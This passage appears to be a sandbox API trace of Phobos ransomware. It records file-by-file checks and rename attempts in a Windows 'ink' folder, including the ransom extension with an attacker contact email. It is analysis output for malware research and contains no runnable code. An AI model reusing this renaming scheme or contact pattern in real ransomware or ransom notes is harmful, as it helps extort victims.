dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.669] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.670] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.670] ResetEvent (hEvent=0x52c) returned 1 [0124.670] SetEvent (hEvent=0x530) returned 1 [0124.670] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.670] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=694) returned 1 [0124.670] CloseHandle (hObject=0x594) returned 1 [0124.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0124.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.671] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.671] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.672] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.672] ResetEvent (hEvent=0x52c) returned 1 [0124.672] SetEvent (hEvent=0x530) returned 1 [0124.672] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.673] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=3823) returned 1 [0124.673] CloseHandle (hObject=0x594) returned 1 [0124.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml")) returned 0x20 [0124.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.673] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.673] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.675] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.675] ResetEvent (hEvent=0x52c) returned 1 [0124.675] SetEvent (hEvent=0x530) returned 1 [0124.675] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.676] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=46624) returned 1 [0124.676] CloseHandle (hObject=0x580) returned 1 [0124.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0124.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.676] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.676] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.679] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.679] ResetEvent (hEvent=0x52c) returned 1 [0124.679] SetEvent (hEvent=0x530) returned 1 [0124.679] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.679] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=1100592) returned 1 [0124.679] CloseHandle (hObject=0x580) returned 1 [0124.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0124.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.680] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.681] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.682] ResetEvent (hEvent=0x52c) returned 1 [0124.682] SetEvent (hEvent=0x530) returned 1 [0124.682] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.682] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.682] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=3380096) returned 1 [0124.682] CloseHandle (hObject=0x580) returned 1 [0124.682] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0124.682] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0124.682] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0 [0124.682] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.687] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.687] ResetEvent (hEvent=0x52c) returned 1 [0124.687] SetEvent (hEvent=0x530) returned 1 [0124.687] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.687] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.687] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=2592) returned 1 [0124.687] CloseHandle (hObject=0x580) returned 1 [0124.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0124.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.688] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.689] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.689] ResetEvent (hEvent=0x52c) returned 1 [0124.689] SetEvent (hEvent=0x530) returned 1 [0124.689] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.689] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.690] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=2436) returned 1 [0124.690] CloseHandle (hObject=0x580) returned 1 [0124.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0124.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.690] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.690] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.691] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.692] ResetEvent (hEvent=0x52c) returned 1 [0124.692] SetEvent (hEvent=0x530) returned 1 [0124.692] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.692] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.692] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=2514) returned 1 [0124.692] CloseHandle (hObject=0x580) returned 1 [0124.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0124.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.692] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.692] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.694] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.694] ResetEvent (hEvent=0x52c) returned 1 [0124.694] SetEvent (hEvent=0x530) returned 1 [0124.694] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.694] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=2618) returned 1 [0124.694] CloseHandle (hObject=0x580) returned 1 [0124.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml")) returned 0x20 [0124.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.694] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.696] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.696] ResetEvent (hEvent=0x52c) returned 1 [0124.696] SetEvent (hEvent=0x530) returned 1 [0124.696] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.697] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=3024) returned 1 [0124.697] CloseHandle (hObject=0x580) returned 1 [0124.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0124.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.697] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.698] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.699] ResetEvent (hEvent=0x52c) returned 1 [0124.699] SetEvent (hEvent=0x530) returned 1 [0124.699] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.699] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.699] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=2628) returned 1 [0124.699] CloseHandle (hObject=0x580) returned 1 [0124.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0124.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.699] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.699] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.701] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.701] ResetEvent (hEvent=0x52c) returned 1 [0124.701] SetEvent (hEvent=0x530) returned 1 [0124.701] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.701] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=2518) returned 1 [0124.701] CloseHandle (hObject=0x580) returned 1 [0124.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml")) returned 0x20 [0124.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.702] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.703] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.703] ResetEvent (hEvent=0x52c) returned 1 [0124.703] SetEvent (hEvent=0x530) returned 1 [0124.703] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.704] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=2570) returned 1 [0124.704] CloseHandle (hObject=0x580) returned 1 [0124.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml")) returned 0x20 [0124.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.704] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.827] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.827] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.827] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=2626) returned 1 [0124.827] CloseHandle (hObject=0x594) returned 1 [0124.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0124.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.828] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x427faa0 | out: pbBuffer=0x427faa0) returned 1 [0124.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.828] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x427fa40 | out: lpFileSize=0x427fa40*=2580) returned 1 [0124.828] CloseHandle (hObject=0x594) returned 1 [0124.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20 [0124.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" 